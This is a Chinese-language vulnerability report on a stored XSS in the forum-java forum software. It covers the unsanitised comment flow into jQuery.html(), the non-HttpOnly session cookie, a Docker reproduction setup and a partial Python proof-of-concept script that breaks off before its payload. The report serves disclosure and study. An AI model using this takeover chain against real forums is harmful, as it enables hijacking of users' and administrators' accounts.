# forum-java 漏洞报告
软件名称:forum-java
开发者或厂商:Qbian61
代码仓库:https://github.com/Qbian61/forum-java
## 1. 评论回复弹窗存储型XSS
简要描述:攻击者发布一条包含 XSS payload 的评论,受害者点击该评论的「回复」时脚本执行,攻击者接管受害者账号。
影响版本:20f7e68 ~ 63152c49
漏洞引入:[forum-java commit 20f7e68f](https://github.com/Qbian61/forum-java/commit/20f7e68ff5d465fe6de91adab4f94df36fc22f63)
前置条件:攻击者有普通权限账号。
### 漏洞成因
评论内容在写入和读取时都不做 HTML 清洗。`CommentManager.create` 调用 `CommentTransfer.toComment`,把请求体里的 `content` 原样存进 `forum_comment` 表:
```java
// forum-app/src/main/java/pub/developers/forum/app/transfer/CommentTransfer.java:19-26 commit 63152c49c7
public static Comment toComment(CommentCreateRequest request, User user) {
return Comment.builder()
.content(request.getContent())
.postsId(request.getPostsId())
.replyId(request.getReplyId())
.userId(user.getId())
.build();
}
```
文章详情页把评论内容写进 `data-reply-content` 属性:
```html
```
Thymeleaf 对属性值只做 HTML 转义,浏览器解析 `data-*` 属性时把实体还原,`dataset.replyContent` 于是得到攻击者提交的 HTML。点击「回复」时,`posts-script.html` 把这个值交给 `jQuery.html()`:
```js
// forum-portal/src/main/resources/templates/include/posts-script.html:30-34 commit 63152c49c7
$('.reply-comment').on('click', function (e) {
$('#commentModalDropLabel').html('回复 ' + this.dataset.replyNickname);
$('#repliedContent').html(this.dataset.replyContent);
replyContent.attr('placeholder', '回复' + this.dataset.replyNickname);
replyBtn.attr('data-reply-id', this.dataset.replyId);
});
```
`jQuery.html()` 按 HTML 解析字符串,评论里的 `` 在弹窗打开时执行。脚本以站点自身的源运行,可以读取页面的 Cookie。登录成功后服务端下发的 `sid` Cookie 只有 `Path=/`,没有 `HttpOnly`,脚本可以直接读取。评论提交后立即可见,不需要审核。
### 复现环境搭建
官方仓库未提供 compose 文件,这里用 Maven 镜像构建 jar,再与 MySQL 一起运行。构建命令如下:
```bash
git clone https://github.com/Qbian61/forum-java.git
cd forum-java
docker run --rm -v "$PWD":/src -w /src maven:3.8-jdk-8 mvn -B -DskipTests package
```
把仓库里的 `forum-starter/src/main/resources/schema.sql`、`data.sql` 复制到 `mysql-init/01-schema.sql`、`mysql-init/02-data.sql`。MySQL 8.0 导入 `data.sql` 时不会按 UTF-8 解析文件内容,需要在 `02-data.sql` 第一行加上 `SET NAMES utf8mb4;`,否则页面上的中文会乱码。
再补一条 SQL,把内置管理员账号的密码设为 `Admin@12345`,便于演示会话劫持:
```sql
-- mysql-init/03-admin.sql
UPDATE `forum_user` SET `password` = '14ab33f6d1cb88c0d2e563da939f0303' WHERE `id` = 1;
```
在仓库根目录编写 `docker-compose.yml`:
```yaml
services:
db:
image: mysql:8.0
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
environment:
MYSQL_ROOT_PASSWORD: forumroot
MYSQL_DATABASE: forum-java
volumes:
- ./mysql-init:/docker-entrypoint-initdb.d:ro
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-pforumroot"]
interval: 5s
timeout: 5s
retries: 40
app:
image: eclipse-temurin:8-jre
depends_on:
db:
condition: service_healthy
environment:
SPRING_DATASOURCE_URL: jdbc:mysql://db:3306/forum-java?useUnicode=true&characterEncoding=UTF-8&useSSL=false&useAffectedRows=true&allowPublicKeyRetrieval=true
SPRING_DATASOURCE_USERNAME: root
SPRING_DATASOURCE_PASSWORD: forumroot
ports:
- "18080:8080"
volumes:
- ./forum-starter/target/forum-java.jar:/app/app.jar:ro
command: ["java", "-Dfile.encoding=UTF-8", "-jar", "/app/app.jar"]
```
启动环境:
```bash
docker compose up -d
```
下文以 `http://127.0.0.1:18080` 访问站点,以 `192.0.2.10` 表示宿主机的地址。管理后台的 SPA 在页面地址包含 `127.0.0.1` 或 `localhost` 时把 axios 的 `baseURL` 固定为 `http://localhost:8080`,因此访问管理后台时改用 `http://192.0.2.10:18080/admin/user-manager`,`baseURL` 才会保持相对路径。
### 复现过程
注册攻击者账号 `attacker@example.com`,发布一篇文章,并在文章下提交评论:
```python
import time
import httpx
BASE = "http://127.0.0.1:18080"
c = httpx.Client(base_url=BASE, timeout=20)
r = c.post("/user-rest/register", json={
"email": "attacker@example.com", "nickname": "attacker", "password": "Attacker@12345"})
print(r.status_code, r.text)
r = c.post("/article-rest/save", json={
"typeId": 3, "title": "XSS demo", "contentType": "MARKDOWN",
"markdownContent": "hello", "htmlContent": "
hello
", "headImg": "", "tagIds": [188]}) print(r.status_code, r.text) article_id = r.json()["data"] time.sleep(3) payload = '